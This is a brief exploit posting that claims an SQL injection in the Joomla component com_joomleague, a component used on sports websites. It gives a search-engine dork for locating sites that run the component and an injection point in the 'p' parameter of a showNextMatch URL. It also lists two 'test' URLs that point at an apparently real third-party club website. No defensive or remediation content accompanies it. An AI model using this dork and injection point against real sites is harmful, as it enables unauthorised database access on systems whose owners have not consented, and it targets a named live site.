Joomla SQLi Vulnerabelity

Exploit JOOMLA all versions SQLI :

components : com_joomleague (sports web sites ) 

dork : inurl:index.php?option=com_joomleague

exploit : http://path.com/index.php?option=com_joomleague&func=showNextMatch&p=1 { inject here } 

test = http://www.club-sportif-sfaxien.com/index.php?option=com_joomleague&func=showNextMatch&p=1

test 2 = http://www.club-sportif-sfaxien.com/index.php?option=com_joomleague&func=showNextMatch&p=1